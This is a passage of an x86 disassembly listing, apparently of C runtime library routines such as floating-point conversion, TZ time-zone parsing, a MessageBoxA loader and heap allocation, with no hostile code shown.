= byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4243ED lea eax, [ebp+var_C] xor esi, esi push eax call sub_4242D8 test eax, eax pop ecx jnz loc_4244AC lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx loc_4243E5: ; CODE XREF: sub_424380+E4j push 2 loc_4243E7: ; CODE XREF: sub_424380+110j pop eax jmp loc_4244AE ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424380+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4242B1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 add esp, 10h test eax, eax jz short loc_42440E inc ebx loc_42440E: ; CODE XREF: sub_424380+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424426 lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx jmp short loc_424462 ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_424380+98j cmp ebx, eax jg short loc_424469 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4242B1 lea eax, [ebp+var_C] push esi push eax call sub_4242F3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4242F3 add esp, 20h loc_424462: ; CODE XREF: sub_424380+A4j xor esi, esi jmp loc_4243E5 ; --------------------------------------------------------------------------- loc_424469: ; CODE XREF: sub_424380+A8j cmp ebx, [edi] jl short loc_424495 lea eax, [ebp+var_C] push eax call sub_4242CC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4242F3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4243E7 ; --------------------------------------------------------------------------- loc_424495: ; CODE XREF: sub_424380+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4242F3 pop ecx pop ecx loc_4244AC: ; CODE XREF: sub_424380+55j xor eax, eax loc_4244AE: ; CODE XREF: sub_424380+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4244DD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4244E7 ; --------------------------------------------------------------------------- loc_4244DD: ; CODE XREF: sub_424380+14Ej cmp edi, 20h jnz short loc_4244E7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4244E7: ; CODE XREF: sub_424380+15Bj ; sub_424380+160j pop edi pop esi pop ebx leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC78 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC90 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: sub_42199B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: sub_42199B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424572 proc near ; CODE XREF: sub_4219D9+65p ; sub_421ADD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4245AF mov [ebp+arg_0], ebx xor ebx, ebx loc_424595: ; CODE XREF: sub_424572+38j mov dl, [ecx] test dl, dl jz short loc_4245A1 movsx edx, dl inc ecx jmp short loc_4245A4 ; --------------------------------------------------------------------------- loc_4245A1: ; CODE XREF: sub_424572+27j push 30h pop edx loc_4245A4: ; CODE XREF: sub_424572+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424595 mov edx, [ebp+arg_8] loc_4245AF: ; CODE XREF: sub_424572+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4245C8 cmp byte ptr [ecx], 35h jl short loc_4245C8 loc_4245BB: ; CODE XREF: sub_424572+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4245C6 mov byte ptr [eax], 30h jmp short loc_4245BB ; --------------------------------------------------------------------------- loc_4245C6: ; CODE XREF: sub_424572+4Dj inc byte ptr [eax] loc_4245C8: ; CODE XREF: sub_424572+42j ; sub_424572+47j cmp byte ptr [esi], 31h jnz short loc_4245D2 inc dword ptr [edx+4] jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_424572+59j push edi call sub_41AFE0 inc eax push eax push edi push esi call sub_41CC90 add esp, 10h loc_4245E4: ; CODE XREF: sub_424572+5Ej pop edi pop esi pop ebx pop ebp retn sub_424572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp ; sub_421ADD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42464D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DB470 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4256C2 mov dword_4DB498, eax add esp, 18h movsx eax, byte_4DB472 mov dword_4DB490, eax pop edi movsx eax, word_4DB470 mov dword_4DB494, eax mov dword_4DB49C, offset dword_4DB474 mov eax, offset dword_4DB490 pop esi leave retn sub_4245E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42464D proc near ; CODE XREF: sub_4245E9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42469B cmp ebx, edi jz short loc_424694 lea edi, [ecx+3C00h] jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_424694: ; CODE XREF: sub_42464D+3Dj mov edi, 7FFFh jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_42469B: ; CODE XREF: sub_42464D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4246B3 cmp edx, ebx jnz short loc_4246B3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4246FE ; --------------------------------------------------------------------------- loc_4246B3: ; CODE XREF: sub_42464D+52j ; sub_42464D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4246BC: ; CODE XREF: sub_42464D+45j ; sub_42464D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4246D4: ; CODE XREF: sub_42464D+A6j test ecx, esi jnz short loc_4246F5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4246D4 ; --------------------------------------------------------------------------- loc_4246F5: ; CODE XREF: sub_42464D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4246FE: ; CODE XREF: sub_42464D+64j pop edi pop esi pop ebx leave retn sub_42464D endp ; --------------------------------------------------------------------------- push 2 call sub_41DA29 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42470C proc near ; DATA XREF: ___:0043C8B8o ; ___:0043D118o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42472F cmp dword ptr [eax+10h], 3 jnz short loc_42472F cmp dword ptr [eax+14h], 19930520h jnz short loc_42472F jmp sub_42255C ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_42470C+Dj ; sub_42470C+13j ... mov eax, dword_4DB4A0 test eax, eax jz short loc_42474C push eax call sub_4247A8 test eax, eax pop ecx jz short loc_42474C push esi call dword_4DB4A0 jmp short loc_42474E ; --------------------------------------------------------------------------- loc_42474C: ; CODE XREF: sub_42470C+2Aj ; sub_42470C+35j xor eax, eax loc_42474E: ; CODE XREF: sub_42470C+3Ej pop esi retn 4 sub_42470C endp ; --------------------------------------------------------------------------- word_424752 dw 0C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc edi inc edx add [eax+1CBD09E8h], dl add ah, byte ptr dword_4DB4A0[ebx] retn ; --------------------------------------------------------------------------- byte_424763 db 0FFh ; DATA XREF: ___:00429040o dd 4DB4A035h, 0BCF8E800h, 0C390021Ch ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp ; sub_4222C2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 25F0000h test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: sub_4222C2+73p ; sub_4222C2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 2890AF8h nop test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; =============== S U B R O U T I N E ======================================= sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp ; sub_42470C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 25E0AFDh test eax, eax jz short loc_4247BC xor esi, esi loc_4247BC: ; CODE XREF: sub_4247A8+10j mov eax, esi pop esi retn sub_4247A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42255C loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj push 0Ah call sub_4235C9 push 16h call sub_425955 pop ecx pop ecx push 3 call sub_41B7C2 ; END OF FUNCTION CHUNK FOR sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p cmp dword_4DB560, 0 jnz short locret_4247EB call sub_4247EC inc dword_4DB560 locret_4247EB: ; CODE XREF: sub_4247D7+7j retn sub_4247D7 endp ; =============== S U B R O U T I N E ======================================= sub_4247EC proc near ; CODE XREF: sub_4247D7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DB4A8, ebp mov dword_43CD50, ebx mov dword_43CD40, ebx call sub_425AC7 mov esi, eax pop ecx cmp esi, ebp jnz loc_424915 push offset dword_4DB4B0 call near ptr 2850000h nop cmp eax, ebx jz loc_424A44 mov eax, dword_4DB4B0 mov ecx, dword_4DB504 imul eax, 3Ch cmp word_4DB4F6, bp push 1 pop edx mov dword_43CCA8, eax mov dword_4DB4A8, edx jz short loc_424863 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43CCA8, eax loc_424863: ; CODE XREF: sub_4247EC+69j cmp word_4DB54A, bp jz short loc_424887 mov eax, dword_4DB558 cmp eax, ebp jz short loc_424887 sub eax, ecx mov dword_43CCAC, edx imul eax, 3Ch mov dword_43CCB0, eax jmp short loc_424893 ; --------------------------------------------------------------------------- loc_424887: ; CODE XREF: sub_4247EC+7Ej ; sub_4247EC+87j mov dword_43CCAC, ebp mov dword_43CCB0, ebp loc_424893: ; CODE XREF: sub_4247EC+99j lea eax, [esp+14h+var_4] mov esi, dword_42717C push eax push ebp push 3Fh mov edi, 220h push off_43CD34 push ebx push offset dword_4DB4B4 push edi push dword_4DB344 call esi test eax, eax jz short loc_4248D0 cmp [esp+14h+var_4], ebp jnz short loc_4248D0 mov eax, off_43CD34 and byte ptr [eax+3Fh], 0 jmp short loc_4248D8 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4247EC+D1j ; sub_4247EC+D7j mov eax, off_43CD34 and byte ptr [eax], 0 loc_4248D8: ; CODE XREF: sub_4247EC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43CD38 push ebx push offset dword_4DB508 push edi push dword_4DB344 call esi test eax, eax jz loc_424A3C cmp [esp+14h+var_4], ebp jnz loc_424A3C mov eax, off_43CD38 and byte ptr [eax+3Fh], 0 jmp loc_424A44 ; --------------------------------------------------------------------------- loc_424915: ; CODE XREF: sub_4247EC+2Dj cmp byte ptr [esi], 0 jz loc_424A44 mov eax, dword_4DB55C cmp eax, ebp jz short loc_424938 push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_424A44 loc_424938: ; CODE XREF: sub_4247EC+139j push dword_4DB55C call sub_41B0B1 push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 add esp, 0Ch cmp eax, ebp mov dword_4DB55C, eax jz loc_424A44 push esi push eax call sub_41BEB0 push 3 push esi push off_43CD34 call sub_41B5F0 mov eax, off_43CD34 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42498D push 1 inc esi pop edi loc_42498D: ; CODE XREF: sub_4247EC+19Bj push esi call sub_41B6EE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43CCA8, ecx loc_4249A4: ; CODE XREF: sub_4247EC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4249B2 cmp al, bl jl short loc_4249B5 cmp al, 39h jg short loc_4249B5 loc_4249B2: ; CODE XREF: sub_4247EC+1BCj inc esi jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_4249B5: ; CODE XREF: sub_4247EC+1C0j ; sub_4247EC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE imul eax, 3Ch pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249D3: ; CODE XREF: sub_4247EC+1F2j mov al, [esi] cmp al, bl jl short loc_4249E0 cmp al, 39h jg short loc_4249E0 inc esi jmp short loc_4249D3 ; --------------------------------------------------------------------------- loc_4249E0: ; CODE XREF: sub_4247EC+1EBj ; sub_4247EC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249FB: ; CODE XREF: sub_4247EC+21Aj mov al, [esi] cmp al, bl jl short loc_424A08 cmp al, 39h jg short loc_424A08 inc esi jmp short loc_4249FB ; --------------------------------------------------------------------------- loc_424A08: ; CODE XREF: sub_4247EC+1CCj ; sub_4247EC+1F7j ... cmp edi, ebp jz short loc_424A14 neg ecx mov dword_43CCA8, ecx loc_424A14: ; CODE XREF: sub_4247EC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43CCAC, eax jz short loc_424A3C push 3 push esi push off_43CD38 call sub_41B5F0 mov eax, off_43CD38 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424A44 ; --------------------------------------------------------------------------- loc_424A3C: ; CODE XREF: sub_4247EC+10Bj ; sub_4247EC+115j ... mov eax, off_43CD38 and byte ptr [eax], 0 loc_424A44: ; CODE XREF: sub_4247EC+40j ; sub_4247EC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4247EC endp ; =============== S U B R O U T I N E ======================================= sub_424A4A proc near ; CODE XREF: sub_422669+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43CCAC, edi jnz short loc_424A5E loc_424A57: ; CODE XREF: sub_424A4A+148j ; sub_424A4A+150j ... xor eax, eax jmp loc_424BAA ; --------------------------------------------------------------------------- loc_424A5E: ; CODE XREF: sub_424A4A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43CD40 jnz short loc_424A7C cmp eax, dword_43CD50 jz loc_424B7E loc_424A7C: ; CODE XREF: sub_424A4A+24j cmp dword_4DB4A8, edi jz loc_424B54 movzx ecx, word_4DB556 push ecx cmp word_4DB548, di movzx ecx, word_4DB554 push ecx movzx ecx, word_4DB552 push ecx movzx ecx, word_4DB550 push ecx jnz short loc_424ACE movzx ecx, word_4DB54C push edi push ecx movzx ecx, word_4DB54E push ecx movzx ecx, word_4DB54A push ecx push eax push ebx jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424ACE: ; CODE XREF: sub_424A4A+65j movzx ecx, word_4DB54E push ecx push edi movzx ecx, word_4DB54A push edi push ecx push eax push edi loc_424AE2: ; CODE XREF: sub_424A4A+82j push ebx call sub_424BF6 movzx eax, word_4DB502 add esp, 2Ch cmp word_4DB4F4, di push eax movzx eax, word_4DB500 push eax movzx eax, word_4DB4FE push eax movzx eax, word_4DB4FC push eax jnz short loc_424B3C movzx eax, word_4DB4F8 push edi push eax movzx eax, word_4DB4FA push eax movzx eax, word_4DB4F6 push eax push dword ptr [esi+14h] push ebx loc_424B31: ; CODE XREF: sub_424A4A+108j push edi call sub_424BF6 add esp, 2Ch jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B3C: ; CODE XREF: sub_424A4A+C8j movzx eax, word_4DB4FA push eax push edi movzx eax, word_4DB4F6 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424B31 ; --------------------------------------------------------------------------- loc_424B54: ; CODE XREF: sub_424A4A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424BF6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424BF6 add esp, 58h loc_424B7E: ; CODE XREF: sub_424A4A+2Cj ; sub_424A4A+F0j mov edx, dword_43CD44 mov eax, dword_43CD54 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424BAE cmp ecx, edx jl loc_424A57 cmp ecx, eax jg loc_424A57 cmp ecx, edx jle short loc_424BC2 cmp ecx, eax jge short loc_424BC2 loc_424BA8: ; CODE XREF: sub_424A4A+166j ; sub_424A4A+16Aj mov eax, ebx loc_424BAA: ; CODE XREF: sub_424A4A+Fj ; sub_424A4A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424BAE: ; CODE XREF: sub_424A4A+144j cmp ecx, eax jl short loc_424BA8 cmp ecx, edx jg short loc_424BA8 cmp ecx, eax jle short loc_424BC2 cmp ecx, edx jl loc_424A57 loc_424BC2: ; CODE XREF: sub_424A4A+158j ; sub_424A4A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424BE9 xor ecx, ecx cmp eax, dword_43CD48 setnl cl loc_424BE5: ; CODE XREF: sub_424A4A+1AAj mov eax, ecx jmp short loc_424BAA ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: sub_424A4A+18Ej xor ecx, ecx cmp eax, dword_43CD58 setl cl jmp short loc_424BE5 sub_424A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p ; sub_424A4A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424C91 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424C21 shl esi, 2 mov eax, dword_43CD58[esi] jmp short loc_424C2A ; --------------------------------------------------------------------------- loc_424C21: ; CODE XREF: sub_424BF6+1Ej shl esi, 2 mov eax, dword_43CD8C[esi] loc_424C2A: ; CODE XREF: sub_424BF6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424C64 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424C6E ; --------------------------------------------------------------------------- loc_424C64: ; CODE XREF: sub_424BF6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424C6E: ; CODE XREF: sub_424BF6+6Cj cmp [ebp+arg_10], 5 jnz short loc_424CAC cmp [ebp+arg_8], 0 jnz short loc_424C82 mov esi, dword_43CD5C[esi] jmp short loc_424C88 ; --------------------------------------------------------------------------- loc_424C82: ; CODE XREF: sub_424BF6+82j mov esi, dword_43CD90[esi] loc_424C88: ; CODE XREF: sub_424BF6+8Aj cmp ecx, esi jle short loc_424CAC sub ecx, 7 jmp short loc_424CAC ; --------------------------------------------------------------------------- loc_424C91: ; CODE XREF: sub_424BF6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424CA2 mov ecx, dword_43CD58[eax*4] jmp short loc_424CA9 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424BF6+A1j mov ecx, dword_43CD8C[eax*4] loc_424CA9: ; CODE XREF: sub_424BF6+AAj add ecx, [ebp+arg_18] loc_424CAC: ; CODE XREF: sub_424BF6+7Cj ; sub_424BF6+94j ... cmp [ebp+arg_0], 1 jnz short loc_424CDD mov eax, [ebp+arg_1C] mov dword_43CD44, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43CD40, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD48, eax jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424CDD: ; CODE XREF: sub_424BF6+BAj mov eax, [ebp+arg_1C] mov dword_43CD54, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43CCB0 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD58, eax jns short loc_424D15 add eax, 5265C00h dec ecx mov dword_43CD58, eax jmp short loc_424D26 ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: sub_424BF6+110j mov edx, 5265C00h cmp eax, edx jl short loc_424D2C sub eax, edx inc ecx mov dword_43CD58, eax loc_424D26: ; CODE XREF: sub_424BF6+11Dj mov dword_43CD54, ecx loc_424D2C: ; CODE XREF: sub_424BF6+126j mov dword_43CD50, ebx loc_424D32: ; CODE XREF: sub_424BF6+E5j pop esi pop ebx pop ebp retn sub_424BF6 endp ; =============== S U B R O U T I N E ======================================= sub_424D36 proc near ; CODE XREF: ___:00422E9Dp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424D47 add esp, 0Ch retn sub_424D36 endp ; =============== S U B R O U T I N E ======================================= sub_424D47 proc near ; CODE XREF: sub_424D36+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DC7E1[eax], cl jnz short loc_424D74 cmp [esp+arg_4], 0 jz short loc_424D6D movzx eax, word_43C302[eax*2] and eax, [esp+arg_4] jmp short loc_424D6F ; --------------------------------------------------------------------------- loc_424D6D: ; CODE XREF: sub_424D47+16j xor eax, eax loc_424D6F: ; CODE XREF: sub_424D47+24j test eax, eax jnz short loc_424D74 retn ; --------------------------------------------------------------------------- loc_424D74: ; CODE XREF: sub_424D47+Fj ; sub_424D47+2Aj push 1 pop eax retn sub_424D47 endp ; =============== S U B R O U T I N E ======================================= sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DB564, ebx push esi push edi jnz short loc_424DC7 push offset aUser32_dll ; "user32.dll" nop call near ptr 2690CB0h mov edi, eax cmp edi, ebx jz short loc_424DFD mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DB564, eax jz short loc_424DFD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DB568, eax call esi mov dword_4DB56C, eax loc_424DC7: ; CODE XREF: sub_424D78+Bj mov eax, dword_4DB568 test eax, eax jz short loc_424DE6 call eax mov ebx, eax test ebx, ebx jz short loc_424DE6 mov eax, dword_4DB56C test eax, eax jz short loc_424DE6 push ebx call eax mov ebx, eax loc_424DE6: ; CODE XREF: sub_424D78+56j ; sub_424D78+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DB564 loc_424DF9: ; CODE XREF: sub_424D78+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424D78+1Cj ; sub_424D78+33j xor eax, eax jmp short loc_424DF9 sub_424D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E01 proc near ; CODE XREF: sub_423936+22p ; sub_423936+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424E81 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+arg_0] cmp eax, dword_4DC900 ja short loc_424E6C push eax call sub_41E1CB mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C2F4 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj ; sub_424E01+4Aj ... push esi push 8 push dword_4DC904 nop call near ptr 27A0000h mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: sub_424E01+26j cmp dword_4DB2FC, 0 jz short loc_424EA5 push esi call sub_41F312 test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- loc_424E97: ; CODE XREF: sub_424E01+48j push [ebp+arg_0] loc_424E9A: ; CODE XREF: sub_424E01+ABj push 0 push edi call sub_41B590 add esp, 0Ch loc_424EA5: ; CODE XREF: sub_424E01+7Ej ; sub_424E01+87j mov eax, edi loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E01+69j push esi jmp short loc_424E9A ; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; 